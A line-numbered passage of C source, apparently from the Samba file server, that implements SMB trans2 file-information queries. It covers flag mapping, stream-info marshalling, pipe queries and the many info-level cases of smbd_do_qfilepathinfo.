  4044. #ifdef UF_HIDDEN
  4045.     { UF_HIDDEN, EXT_HIDDEN },
  4046. #endif
  4047.  
  4048.     /* Do not remove. We need to guarantee that this array has at least one
  4049.      * entry to build on HP-UX.
  4050.      */
  4051.     { 0, 0 }
  4052.  
  4053. };
  4054.  
  4055. static void map_info2_flags_from_sbuf(const SMB_STRUCT_STAT *psbuf,
  4056.                 uint32 *smb_fflags, uint32 *smb_fmask)
  4057. {
  4058.     int i;
  4059.  
  4060.     for (i = 0; i < ARRAY_SIZE(info2_flags_map); ++i) {
  4061.         *smb_fmask |= info2_flags_map[i].smb_fflag;
  4062.         if (psbuf->st_ex_flags & info2_flags_map[i].stat_fflag) {
  4063.             *smb_fflags |= info2_flags_map[i].smb_fflag;
  4064.         }
  4065.     }
  4066. }
  4067.  
  4068. static bool map_info2_flags_to_sbuf(const SMB_STRUCT_STAT *psbuf,
  4069.                 const uint32 smb_fflags,
  4070.                 const uint32 smb_fmask,
  4071.                 int *stat_fflags)
  4072. {
  4073.     uint32 max_fmask = 0;
  4074.     int i;
  4075.  
  4076.     *stat_fflags = psbuf->st_ex_flags;
  4077.  
  4078.     /* For each flags requested in smb_fmask, check the state of the
  4079.      * corresponding flag in smb_fflags and set or clear the matching
  4080.      * stat flag.
  4081.      */
  4082.  
  4083.     for (i = 0; i < ARRAY_SIZE(info2_flags_map); ++i) {
  4084.         max_fmask |= info2_flags_map[i].smb_fflag;
  4085.         if (smb_fmask & info2_flags_map[i].smb_fflag) {
  4086.             if (smb_fflags & info2_flags_map[i].smb_fflag) {
  4087.                 *stat_fflags |= info2_flags_map[i].stat_fflag;
  4088.             } else {
  4089.                 *stat_fflags &= ~info2_flags_map[i].stat_fflag;
  4090.             }
  4091.         }
  4092.     }
  4093.  
  4094.     /* If smb_fmask is asking to set any bits that are not supported by
  4095.      * our flag mappings, we should fail.
  4096.      */
  4097.     if ((smb_fmask & max_fmask) != smb_fmask) {
  4098.         return False;
  4099.     }
  4100.  
  4101.     return True;
  4102. }
  4103.  
  4104.  
  4105. /* Just like SMB_QUERY_FILE_UNIX_BASIC, but with the addition
  4106.  * of file flags and birth (create) time.
  4107.  */
  4108. static char *store_file_unix_basic_info2(connection_struct *conn,
  4109.                 char *pdata,
  4110.                 files_struct *fsp,
  4111.                 const SMB_STRUCT_STAT *psbuf)
  4112. {
  4113.     uint32 file_flags = 0;
  4114.     uint32 flags_mask = 0;
  4115.  
  4116.     pdata = store_file_unix_basic(conn, pdata, fsp, psbuf);
  4117.  
  4118.     /* Create (birth) time 64 bit */
  4119.     put_long_date_timespec(TIMESTAMP_SET_NT_OR_BETTER,pdata, psbuf->st_ex_btime);
  4120.     pdata += 8;
  4121.  
  4122.     map_info2_flags_from_sbuf(psbuf, &file_flags, &flags_mask);
  4123.     SIVAL(pdata, 0, file_flags); /* flags */
  4124.     SIVAL(pdata, 4, flags_mask); /* mask */
  4125.     pdata += 8;
  4126.  
  4127.     return pdata;
  4128. }
  4129.  
  4130. static NTSTATUS marshall_stream_info(unsigned int num_streams,
  4131.                      const struct stream_struct *streams,
  4132.                      char *data,
  4133.                      unsigned int max_data_bytes,
  4134.                      unsigned int *data_size)
  4135. {
  4136.     unsigned int i;
  4137.     unsigned int ofs = 0;
  4138.  
  4139.     for (i = 0; i < num_streams && ofs <= max_data_bytes; i++) {
  4140.         unsigned int next_offset;
  4141.         size_t namelen;
  4142.         smb_ucs2_t *namebuf;
  4143.  
  4144.         if (!push_ucs2_talloc(talloc_tos(), &namebuf,
  4145.                       streams[i].name, &namelen) ||
  4146.             namelen <= 2)
  4147.         {
  4148.             return NT_STATUS_INVALID_PARAMETER;
  4149.         }
  4150.  
  4151.         /*
  4152.          * name_buf is now null-terminated, we need to marshall as not
  4153.          * terminated
  4154.          */
  4155.  
  4156.         namelen -= 2;
  4157.  
  4158.         SIVAL(data, ofs+4, namelen);
  4159.         SOFF_T(data, ofs+8, streams[i].size);
  4160.         SOFF_T(data, ofs+16, streams[i].alloc_size);
  4161.         memcpy(data+ofs+24, namebuf, namelen);
  4162.         TALLOC_FREE(namebuf);
  4163.  
  4164.         next_offset = ofs + 24 + namelen;
  4165.  
  4166.         if (i == num_streams-1) {
  4167.             SIVAL(data, ofs, 0);
  4168.         }
  4169.         else {
  4170.             unsigned int align = ndr_align_size(next_offset, 8);
  4171.  
  4172.             memset(data+next_offset, 0, align);
  4173.             next_offset += align;
  4174.  
  4175.             SIVAL(data, ofs, next_offset - ofs);
  4176.             ofs = next_offset;
  4177.         }
  4178.  
  4179.         ofs = next_offset;
  4180.     }
  4181.  
  4182.     *data_size = ofs;
  4183.  
  4184.     return NT_STATUS_OK;
  4185. }
  4186.  
  4187. /****************************************************************************
  4188.  Reply to a TRANSACT2_QFILEINFO on a PIPE !
  4189. ****************************************************************************/
  4190.  
  4191. static void call_trans2qpipeinfo(connection_struct *conn,
  4192.                  struct smb_request *req,
  4193.                  unsigned int tran_call,
  4194.                  char **pparams, int total_params,
  4195.                  char **ppdata, int total_data,
  4196.                  unsigned int max_data_bytes)
  4197. {
  4198.     char *params = *pparams;
  4199.     char *pdata = *ppdata;
  4200.     unsigned int data_size = 0;
  4201.     unsigned int param_size = 2;
  4202.     uint16 info_level;
  4203.     files_struct *fsp;
  4204.  
  4205.     if (!params) {
  4206.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  4207.         return;
  4208.     }
  4209.  
  4210.     if (total_params < 4) {
  4211.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  4212.         return;
  4213.     }
  4214.  
  4215.     fsp = file_fsp(req, SVAL(params,0));
  4216.     if (!fsp_is_np(fsp)) {
  4217.         reply_nterror(req, NT_STATUS_INVALID_HANDLE);
  4218.         return;
  4219.     }
  4220.  
  4221.     info_level = SVAL(params,2);
  4222.  
  4223.     *pparams = (char *)SMB_REALLOC(*pparams,2);
  4224.     if (*pparams == NULL) {
  4225.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  4226.         return;
  4227.     }
  4228.     params = *pparams;
  4229.     SSVAL(params,0,0);
  4230.     data_size = max_data_bytes + DIR_ENTRY_SAFETY_MARGIN;
  4231.     *ppdata = (char *)SMB_REALLOC(*ppdata, data_size);
  4232.     if (*ppdata == NULL ) {
  4233.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  4234.         return;
  4235.     }
  4236.     pdata = *ppdata;
  4237.  
  4238.     switch (info_level) {
  4239.         case SMB_FILE_STANDARD_INFORMATION:
  4240.             memset(pdata,0,24);
  4241.             SOFF_T(pdata,0,4096LL);
  4242.             SIVAL(pdata,16,1);
  4243.             SIVAL(pdata,20,1);
  4244.             data_size = 24;
  4245.             break;
  4246.  
  4247.         default:
  4248.             reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  4249.             return;
  4250.     }
  4251.  
  4252.     send_trans2_replies(conn, req, params, param_size, *ppdata, data_size,
  4253.                 max_data_bytes);
  4254.  
  4255.     return;
  4256. }
  4257.  
  4258. NTSTATUS smbd_do_qfilepathinfo(connection_struct *conn,
  4259.                    TALLOC_CTX *mem_ctx,
  4260.                    uint16_t info_level,
  4261.                    files_struct *fsp,
  4262.                    struct smb_filename *smb_fname,
  4263.                    bool delete_pending,
  4264.                    struct timespec write_time_ts,
  4265.                    struct ea_list *ea_list,
  4266.                    int lock_data_count,
  4267.                    char *lock_data,
  4268.                    uint16_t flags2,
  4269.                    unsigned int max_data_bytes,
  4270.                    char **ppdata,
  4271.                    unsigned int *pdata_size)
  4272. {
  4273.     char *pdata = *ppdata;
  4274.     char *dstart, *dend;
  4275.     unsigned int data_size;
  4276.     struct timespec create_time_ts, mtime_ts, atime_ts, ctime_ts;
  4277.     time_t create_time, mtime, atime, c_time;
  4278.     SMB_STRUCT_STAT *psbuf = &smb_fname->st;
  4279.     char *p;
  4280.     char *base_name;
  4281.     char *dos_fname;
  4282.     int mode;
  4283.     int nlink;
  4284.     NTSTATUS status;
  4285.     uint64_t file_size = 0;
  4286.     uint64_t pos = 0;
  4287.     uint64_t allocation_size = 0;
  4288.     uint64_t file_index = 0;
  4289.     uint32_t access_mask = 0;
  4290.  
  4291.     if (INFO_LEVEL_IS_UNIX(info_level) && !lp_unix_extensions()) {
  4292.         return NT_STATUS_INVALID_LEVEL;
  4293.     }
  4294.  
  4295.     DEBUG(5,("smbd_do_qfilepathinfo: %s (fnum = %d) level=%d max_data=%u\n",
  4296.          smb_fname_str_dbg(smb_fname), fsp ? fsp->fnum : -1,
  4297.          info_level, max_data_bytes));
  4298.  
  4299.     mode = dos_mode(conn, smb_fname);
  4300.     nlink = psbuf->st_ex_nlink;
  4301.  
  4302.     if (nlink && (mode&FILE_ATTRIBUTE_DIRECTORY)) {
  4303.         nlink = 1;
  4304.     }
  4305.  
  4306.     if ((nlink > 0) && delete_pending) {
  4307.         nlink -= 1;
  4308.     }
  4309.  
  4310.     data_size = max_data_bytes + DIR_ENTRY_SAFETY_MARGIN;
  4311.     *ppdata = (char *)SMB_REALLOC(*ppdata, data_size);
  4312.     if (*ppdata == NULL) {
  4313.         return NT_STATUS_NO_MEMORY;
  4314.     }
  4315.     pdata = *ppdata;
  4316.     dstart = pdata;
  4317.     dend = dstart + data_size - 1;
  4318.  
  4319.     if (!null_timespec(write_time_ts) && !INFO_LEVEL_IS_UNIX(info_level)) {
  4320.         update_stat_ex_mtime(psbuf, write_time_ts);
  4321.     }
  4322.  
  4323.     create_time_ts = get_create_timespec(conn, fsp, smb_fname);
  4324.     mtime_ts = psbuf->st_ex_mtime;
  4325.     atime_ts = psbuf->st_ex_atime;
  4326.     ctime_ts = get_change_timespec(conn, fsp, smb_fname);
  4327.  
  4328.     if (lp_dos_filetime_resolution(SNUM(conn))) {
  4329.         dos_filetime_timespec(&create_time_ts);
  4330.         dos_filetime_timespec(&mtime_ts);
  4331.         dos_filetime_timespec(&atime_ts);
  4332.         dos_filetime_timespec(&ctime_ts);
  4333.     }
  4334.  
  4335.     create_time = convert_timespec_to_time_t(create_time_ts);
  4336.     mtime = convert_timespec_to_time_t(mtime_ts);
  4337.     atime = convert_timespec_to_time_t(atime_ts);
  4338.     c_time = convert_timespec_to_time_t(ctime_ts);
  4339.  
  4340.     p = strrchr_m(smb_fname->base_name,'/');
  4341.     if (!p)
  4342.         base_name = smb_fname->base_name;
  4343.     else
  4344.         base_name = p+1;
  4345.  
  4346.     /* NT expects the name to be in an exact form of the *full*
  4347.        filename. See the trans2 torture test */
  4348.     if (ISDOT(base_name)) {
  4349.         dos_fname = talloc_strdup(mem_ctx, "\\");
  4350.         if (!dos_fname) {
  4351.             return NT_STATUS_NO_MEMORY;
  4352.         }
  4353.     } else {
  4354.         dos_fname = talloc_asprintf(mem_ctx,
  4355.                 "\\%s",
  4356.                 smb_fname->base_name);
  4357.         if (!dos_fname) {
  4358.             return NT_STATUS_NO_MEMORY;
  4359.         }
  4360.         if (is_ntfs_stream_smb_fname(smb_fname)) {
  4361.             dos_fname = talloc_asprintf(dos_fname, "%s",
  4362.                             smb_fname->stream_name);
  4363.             if (!dos_fname) {
  4364.                 return NT_STATUS_NO_MEMORY;
  4365.             }
  4366.         }
  4367.  
  4368.         string_replace(dos_fname, '/', '\\');
  4369.     }
  4370.  
  4371.     allocation_size = SMB_VFS_GET_ALLOC_SIZE(conn, fsp, psbuf);
  4372.  
  4373.     if (!fsp) {
  4374.         /* Do we have this path open ? */
  4375.         files_struct *fsp1;
  4376.         struct file_id fileid = vfs_file_id_from_sbuf(conn, psbuf);
  4377.         fsp1 = file_find_di_first(conn->sconn, fileid);
  4378.         if (fsp1 && fsp1->initial_allocation_size) {
  4379.             allocation_size = SMB_VFS_GET_ALLOC_SIZE(conn, fsp1, psbuf);
  4380.         }
  4381.     }
  4382.  
  4383.     if (!(mode & FILE_ATTRIBUTE_DIRECTORY)) {
  4384.         file_size = get_file_size_stat(psbuf);
  4385.     }
  4386.  
  4387.     if (fsp) {
  4388.         pos = fsp->fh->position_information;
  4389.     }
  4390.  
  4391.     if (fsp) {
  4392.         access_mask = fsp->access_mask;
  4393.     } else {
  4394.         /* GENERIC_EXECUTE mapping from Windows */
  4395.         access_mask = 0x12019F;
  4396.     }
  4397.  
  4398.     /* This should be an index number - looks like
  4399.        dev/ino to me :-)
  4400.  
  4401.        I think this causes us to fail the IFSKIT
  4402.        BasicFileInformationTest. -tpot */
  4403.     file_index = get_FileIndex(conn, psbuf);
  4404.  
  4405.     switch (info_level) {
  4406.         case SMB_INFO_STANDARD:
  4407.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_INFO_STANDARD\n"));
  4408.             data_size = 22;
  4409.             srv_put_dos_date2(pdata,l1_fdateCreation,create_time);
  4410.             srv_put_dos_date2(pdata,l1_fdateLastAccess,atime);
  4411.             srv_put_dos_date2(pdata,l1_fdateLastWrite,mtime); /* write time */
  4412.             SIVAL(pdata,l1_cbFile,(uint32)file_size);
  4413.             SIVAL(pdata,l1_cbFileAlloc,(uint32)allocation_size);
  4414.             SSVAL(pdata,l1_attrFile,mode);
  4415.             break;
  4416.  
  4417.         case SMB_INFO_QUERY_EA_SIZE:
  4418.         {
  4419.             unsigned int ea_size =
  4420.                 estimate_ea_size(conn, fsp,
  4421.                          smb_fname->base_name);
  4422.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_INFO_QUERY_EA_SIZE\n"));
  4423.             data_size = 26;
  4424.             srv_put_dos_date2(pdata,0,create_time);
  4425.             srv_put_dos_date2(pdata,4,atime);
  4426.             srv_put_dos_date2(pdata,8,mtime); /* write time */
  4427.             SIVAL(pdata,12,(uint32)file_size);
  4428.             SIVAL(pdata,16,(uint32)allocation_size);
  4429.             SSVAL(pdata,20,mode);
  4430.             SIVAL(pdata,22,ea_size);
  4431.             break;
  4432.         }
  4433.  
  4434.         case SMB_INFO_IS_NAME_VALID:
  4435.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_INFO_IS_NAME_VALID\n"));
  4436.             if (fsp) {
  4437.                 /* os/2 needs this ? really ?*/
  4438.                 return NT_STATUS_DOS(ERRDOS, ERRbadfunc);
  4439.             }
  4440.             /* This is only reached for qpathinfo */
  4441.             data_size = 0;
  4442.             break;
  4443.  
  4444.         case SMB_INFO_QUERY_EAS_FROM_LIST:
  4445.         {
  4446.             size_t total_ea_len = 0;
  4447.             struct ea_list *ea_file_list = NULL;
  4448.  
  4449.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_INFO_QUERY_EAS_FROM_LIST\n"));
  4450.  
  4451.             ea_file_list =
  4452.                 get_ea_list_from_file(mem_ctx, conn, fsp,
  4453.                           smb_fname->base_name,
  4454.                           &total_ea_len);
  4455.             ea_list = ea_list_union(ea_list, ea_file_list, &total_ea_len);
  4456.  
  4457.             if (!ea_list || (total_ea_len > data_size)) {
  4458.                 data_size = 4;
  4459.                 SIVAL(pdata,0,4);   /* EA List Length must be set to 4 if no EA's. */
  4460.                 break;
  4461.             }
  4462.  
  4463.             data_size = fill_ea_buffer(mem_ctx, pdata, data_size, conn, ea_list);
  4464.             break;
  4465.         }
  4466.  
  4467.         case SMB_INFO_QUERY_ALL_EAS:
  4468.         {
  4469.             /* We have data_size bytes to put EA's into. */
  4470.             size_t total_ea_len = 0;
  4471.  
  4472.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_INFO_QUERY_ALL_EAS\n"));
  4473.  
  4474.             ea_list = get_ea_list_from_file(mem_ctx, conn, fsp,
  4475.                             smb_fname->base_name,
  4476.                             &total_ea_len);
  4477.             if (!ea_list || (total_ea_len > data_size)) {
  4478.                 data_size = 4;
  4479.                 SIVAL(pdata,0,4);   /* EA List Length must be set to 4 if no EA's. */
  4480.                 break;
  4481.             }
  4482.  
  4483.             data_size = fill_ea_buffer(mem_ctx, pdata, data_size, conn, ea_list);
  4484.             break;
  4485.         }
  4486.  
  4487.         case 0xFF0F:/*SMB2_INFO_QUERY_ALL_EAS*/
  4488.         {
  4489.             /* This is FileFullEaInformation - 0xF which maps to
  4490.              * 1015 (decimal) in smbd_do_setfilepathinfo. */
  4491.  
  4492.             /* We have data_size bytes to put EA's into. */
  4493.             size_t total_ea_len = 0;
  4494.             struct ea_list *ea_file_list = NULL;
  4495.  
  4496.             DEBUG(10,("smbd_do_qfilepathinfo: SMB2_INFO_QUERY_ALL_EAS\n"));
  4497.  
  4498.             /*TODO: add filtering and index handling */
  4499.  
  4500.             ea_file_list =
  4501.                 get_ea_list_from_file(mem_ctx, conn, fsp,
  4502.                           smb_fname->base_name,
  4503.                           &total_ea_len);
  4504.             if (!ea_file_list) {
  4505.                 return NT_STATUS_NO_EAS_ON_FILE;
  4506.             }
  4507.  
  4508.             status = fill_ea_chained_buffer(mem_ctx,
  4509.                             pdata,
  4510.                             data_size,
  4511.                             &data_size,
  4512.                             conn, ea_file_list);
  4513.             if (!NT_STATUS_IS_OK(status)) {
  4514.                 return status;
  4515.             }
  4516.             break;
  4517.         }
  4518.  
  4519.         case SMB_FILE_BASIC_INFORMATION:
  4520.         case SMB_QUERY_FILE_BASIC_INFO:
  4521.  
  4522.             if (info_level == SMB_QUERY_FILE_BASIC_INFO) {
  4523.                 DEBUG(10,("smbd_do_qfilepathinfo: SMB_QUERY_FILE_BASIC_INFO\n"));
  4524.                 data_size = 36; /* w95 returns 40 bytes not 36 - why ?. */
  4525.             } else {
  4526.                 DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_BASIC_INFORMATION\n"));
  4527.                 data_size = 40;
  4528.                 SIVAL(pdata,36,0);
  4529.             }
  4530.             put_long_date_timespec(conn->ts_res,pdata,create_time_ts);
  4531.             put_long_date_timespec(conn->ts_res,pdata+8,atime_ts);
  4532.             put_long_date_timespec(conn->ts_res,pdata+16,mtime_ts); /* write time */
  4533.             put_long_date_timespec(conn->ts_res,pdata+24,ctime_ts); /* change time */
  4534.             SIVAL(pdata,32,mode);
  4535.  
  4536.             DEBUG(5,("SMB_QFBI - "));
  4537.             DEBUG(5,("create: %s ", ctime(&create_time)));
  4538.             DEBUG(5,("access: %s ", ctime(&atime)));
  4539.             DEBUG(5,("write: %s ", ctime(&mtime)));
  4540.             DEBUG(5,("change: %s ", ctime(&c_time)));
  4541.             DEBUG(5,("mode: %x\n", mode));
  4542.             break;
  4543.  
  4544.         case SMB_FILE_STANDARD_INFORMATION:
  4545.         case SMB_QUERY_FILE_STANDARD_INFO:
  4546.  
  4547.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_STANDARD_INFORMATION\n"));
  4548.             data_size = 24;
  4549.             SOFF_T(pdata,0,allocation_size);
  4550.             SOFF_T(pdata,8,file_size);
  4551.             SIVAL(pdata,16,nlink);
  4552.             SCVAL(pdata,20,delete_pending?1:0);
  4553.             SCVAL(pdata,21,(mode&FILE_ATTRIBUTE_DIRECTORY)?1:0);
  4554.             SSVAL(pdata,22,0); /* Padding. */
  4555.             break;
  4556.  
  4557.         case SMB_FILE_EA_INFORMATION:
  4558.         case SMB_QUERY_FILE_EA_INFO:
  4559.         {
  4560.             unsigned int ea_size =
  4561.                 estimate_ea_size(conn, fsp, smb_fname->base_name);
  4562.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_EA_INFORMATION\n"));
  4563.             data_size = 4;
  4564.             SIVAL(pdata,0,ea_size);
  4565.             break;
  4566.         }
  4567.  
  4568.         /* Get the 8.3 name - used if NT SMB was negotiated. */
  4569.         case SMB_QUERY_FILE_ALT_NAME_INFO:
  4570.         case SMB_FILE_ALTERNATE_NAME_INFORMATION:
  4571.         {
  4572.             int len;
  4573.             char mangled_name[13];
  4574.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_ALTERNATE_NAME_INFORMATION\n"));
  4575.             if (!name_to_8_3(base_name,mangled_name,
  4576.                         True,conn->params)) {
  4577.                 return NT_STATUS_NO_MEMORY;
  4578.             }
  4579.             len = srvstr_push(dstart, flags2,
  4580.                       pdata+4, mangled_name,
  4581.                       PTR_DIFF(dend, pdata+4),
  4582.                       STR_UNICODE);
  4583.             data_size = 4 + len;
  4584.             SIVAL(pdata,0,len);
  4585.             break;
  4586.         }
  4587.  
  4588.         case SMB_QUERY_FILE_NAME_INFO:
  4589.         {
  4590.             int len;
  4591.             /*
  4592.               this must be *exactly* right for ACLs on mapped drives to work
  4593.              */
  4594.             len = srvstr_push(dstart, flags2,
  4595.                       pdata+4, dos_fname,
  4596.                       PTR_DIFF(dend, pdata+4),
  4597.                       STR_UNICODE);
  4598.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_QUERY_FILE_NAME_INFO\n"));
  4599.             data_size = 4 + len;
  4600.             SIVAL(pdata,0,len);
  4601.             break;
  4602.         }
  4603.  
  4604.         case SMB_FILE_ALLOCATION_INFORMATION:
  4605.         case SMB_QUERY_FILE_ALLOCATION_INFO:
  4606.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_ALLOCATION_INFORMATION\n"));
  4607.             data_size = 8;
  4608.             SOFF_T(pdata,0,allocation_size);
  4609.             break;
  4610.  
  4611.         case SMB_FILE_END_OF_FILE_INFORMATION:
  4612.         case SMB_QUERY_FILE_END_OF_FILEINFO:
  4613.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_END_OF_FILE_INFORMATION\n"));
  4614.             data_size = 8;
  4615.             SOFF_T(pdata,0,file_size);
  4616.             break;
  4617.  
  4618.         case SMB_QUERY_FILE_ALL_INFO:
  4619.         case SMB_FILE_ALL_INFORMATION:
  4620.         {
  4621.             int len;
  4622.             unsigned int ea_size =
  4623.                 estimate_ea_size(conn, fsp, smb_fname->base_name);
  4624.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_ALL_INFORMATION\n"));
  4625.             put_long_date_timespec(conn->ts_res,pdata,create_time_ts);
  4626.             put_long_date_timespec(conn->ts_res,pdata+8,atime_ts);
  4627.             put_long_date_timespec(conn->ts_res,pdata+16,mtime_ts); /* write time */
  4628.             put_long_date_timespec(conn->ts_res,pdata+24,ctime_ts); /* change time */
  4629.             SIVAL(pdata,32,mode);
  4630.             SIVAL(pdata,36,0); /* padding. */
  4631.             pdata += 40;
  4632.             SOFF_T(pdata,0,allocation_size);
  4633.             SOFF_T(pdata,8,file_size);
  4634.             SIVAL(pdata,16,nlink);
  4635.             SCVAL(pdata,20,delete_pending);
  4636.             SCVAL(pdata,21,(mode&FILE_ATTRIBUTE_DIRECTORY)?1:0);
  4637.             SSVAL(pdata,22,0);
  4638.             pdata += 24;
  4639.             SIVAL(pdata,0,ea_size);
  4640.             pdata += 4; /* EA info */
  4641.             len = srvstr_push(dstart, flags2,
  4642.                       pdata+4, dos_fname,
  4643.                       PTR_DIFF(dend, pdata+4),
  4644.                       STR_UNICODE);
  4645.             SIVAL(pdata,0,len);
  4646.             pdata += 4 + len;
  4647.             data_size = PTR_DIFF(pdata,(*ppdata));
  4648.             break;
  4649.         }
  4650.  
  4651.         case 0xFF12:/*SMB2_FILE_ALL_INFORMATION*/
  4652.         {
  4653.             int len;
  4654.             unsigned int ea_size =
  4655.                 estimate_ea_size(conn, fsp, smb_fname->base_name);
  4656.             DEBUG(10,("smbd_do_qfilepathinfo: SMB2_FILE_ALL_INFORMATION\n"));
  4657.             put_long_date_timespec(conn->ts_res,pdata+0x00,create_time_ts);
  4658.             put_long_date_timespec(conn->ts_res,pdata+0x08,atime_ts);
  4659.             put_long_date_timespec(conn->ts_res,pdata+0x10,mtime_ts); /* write time */
  4660.             put_long_date_timespec(conn->ts_res,pdata+0x18,ctime_ts); /* change time */
  4661.             SIVAL(pdata,    0x20, mode);
  4662.             SIVAL(pdata,    0x24, 0); /* padding. */
  4663.             SBVAL(pdata,    0x28, allocation_size);
  4664.             SBVAL(pdata,    0x30, file_size);
  4665.             SIVAL(pdata,    0x38, nlink);
  4666.             SCVAL(pdata,    0x3C, delete_pending);
  4667.             SCVAL(pdata,    0x3D, (mode&FILE_ATTRIBUTE_DIRECTORY)?1:0);
  4668.             SSVAL(pdata,    0x3E, 0); /* padding */
  4669.             SBVAL(pdata,    0x40, file_index);
  4670.             SIVAL(pdata,    0x48, ea_size);
  4671.             SIVAL(pdata,    0x4C, access_mask);
  4672.             SBVAL(pdata,    0x50, pos);
  4673.             SIVAL(pdata,    0x58, mode); /*TODO: mode != mode fix this!!! */
  4674.             SIVAL(pdata,    0x5C, 0); /* No alignment needed. */
  4675.  
  4676.             pdata += 0x60;
  4677.  
  4678.             len = srvstr_push(dstart, flags2,
  4679.                       pdata+4, dos_fname,
  4680.                       PTR_DIFF(dend, pdata+4),
  4681.                       STR_UNICODE);
  4682.             SIVAL(pdata,0,len);
  4683.             pdata += 4 + len;
  4684.             data_size = PTR_DIFF(pdata,(*ppdata));
  4685.             break;
  4686.         }
  4687.         case SMB_FILE_INTERNAL_INFORMATION:
  4688.  
  4689.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_INTERNAL_INFORMATION\n"));
  4690.             SBVAL(pdata, 0, file_index);
  4691.             data_size = 8;
  4692.             break;
  4693.  
  4694.         case SMB_FILE_ACCESS_INFORMATION:
  4695.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_ACCESS_INFORMATION\n"));
  4696.             SIVAL(pdata, 0, access_mask);
  4697.             data_size = 4;
  4698.             break;
  4699.  
  4700.         case SMB_FILE_NAME_INFORMATION:
  4701.             /* Pathname with leading '\'. */
  4702.             {
  4703.                 size_t byte_len;
  4704.                 byte_len = dos_PutUniCode(pdata+4,dos_fname,(size_t)max_data_bytes,False);
  4705.                 DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_NAME_INFORMATION\n"));
  4706.                 SIVAL(pdata,0,byte_len);
  4707.                 data_size = 4 + byte_len;
  4708.                 break;
  4709.             }
  4710.  
  4711.         case SMB_FILE_DISPOSITION_INFORMATION:
  4712.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_DISPOSITION_INFORMATION\n"));
  4713.             data_size = 1;
  4714.             SCVAL(pdata,0,delete_pending);
  4715.             break;
  4716.  
  4717.         case SMB_FILE_POSITION_INFORMATION:
  4718.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_POSITION_INFORMATION\n"));
  4719.             data_size = 8;
  4720.             SOFF_T(pdata,0,pos);
  4721.             break;
  4722.  
  4723.         case SMB_FILE_MODE_INFORMATION:
  4724.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_MODE_INFORMATION\n"));
  4725.             SIVAL(pdata,0,mode);
  4726.             data_size = 4;
  4727.             break;
  4728.  
  4729.         case SMB_FILE_ALIGNMENT_INFORMATION:
  4730.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_ALIGNMENT_INFORMATION\n"));
  4731.             SIVAL(pdata,0,0); /* No alignment needed. */
  4732.             data_size = 4;
  4733.             break;
  4734.  
  4735.         /*
  4736.          * NT4 server just returns "invalid query" to this - if we try
  4737.          * to answer it then NTws gets a BSOD! (tridge).  W2K seems to
  4738.          * want this. JRA.
  4739.          */
  4740.         /* The first statement above is false - verified using Thursby
  4741.          * client against NT4 -- gcolley.
  4742.          */
  4743.         case SMB_QUERY_FILE_STREAM_INFO:
  4744.         case SMB_FILE_STREAM_INFORMATION: {
  4745.             unsigned int num_streams = 0;
  4746.             struct stream_struct *streams = NULL;
  4747.  
  4748.             DEBUG(10,("smbd_do_qfilepathinfo: "
  4749.                   "SMB_FILE_STREAM_INFORMATION\n"));
  4750.  
  4751.             if (is_ntfs_stream_smb_fname(smb_fname)) {
  4752.                 return NT_STATUS_INVALID_PARAMETER;
  4753.             }
  4754.  
  4755.             status = vfs_streaminfo(conn, fsp, smb_fname->base_name,
  4756.                         talloc_tos(), &num_streams, &streams);
  4757.  
  4758.             if (!NT_STATUS_IS_OK(status)) {
  4759.                 DEBUG(10, ("could not get stream info: %s\n",
  4760.                        nt_errstr(status)));
  4761.                 return status;
  4762.             }
  4763.  
  4764.             status = marshall_stream_info(num_streams, streams,
  4765.                               pdata, max_data_bytes,
  4766.                               &data_size);
  4767.  
  4768.             if (!NT_STATUS_IS_OK(status)) {
  4769.                 DEBUG(10, ("marshall_stream_info failed: %s\n",
  4770.                        nt_errstr(status)));
  4771.                 return status;
  4772.             }
  4773.  
  4774.             TALLOC_FREE(streams);
  4775.  
  4776.             break;
  4777.         }
  4778.         case SMB_QUERY_COMPRESSION_INFO:
  4779.         case SMB_FILE_COMPRESSION_INFORMATION:
  4780.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_COMPRESSION_INFORMATION\n"));
  4781.             SOFF_T(pdata,0,file_size);
  4782.             SIVAL(pdata,8,0); /* ??? */
  4783.             SIVAL(pdata,12,0); /* ??? */
  4784.             data_size = 16;
  4785.             break;
  4786.  
  4787.         case SMB_FILE_NETWORK_OPEN_INFORMATION:
  4788.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_NETWORK_OPEN_INFORMATION\n"));
  4789.             put_long_date_timespec(conn->ts_res,pdata,create_time_ts);
  4790.             put_long_date_timespec(conn->ts_res,pdata+8,atime_ts);
  4791.             put_long_date_timespec(conn->ts_res,pdata+16,mtime_ts); /* write time */
  4792.             put_long_date_timespec(conn->ts_res,pdata+24,ctime_ts); /* change time */
  4793.             SOFF_T(pdata,32,allocation_size);
  4794.             SOFF_T(pdata,40,file_size);
  4795.             SIVAL(pdata,48,mode);
  4796.             SIVAL(pdata,52,0); /* ??? */
  4797.             data_size = 56;
  4798.             break;
  4799.  
  4800.         case SMB_FILE_ATTRIBUTE_TAG_INFORMATION:
  4801.             DEBUG(10,("smbd_do_qfilepathinfo: SMB_FILE_ATTRIBUTE_TAG_INFORMATION\n"));
  4802.             SIVAL(pdata,0,mode);
  4803.             SIVAL(pdata,4,0);
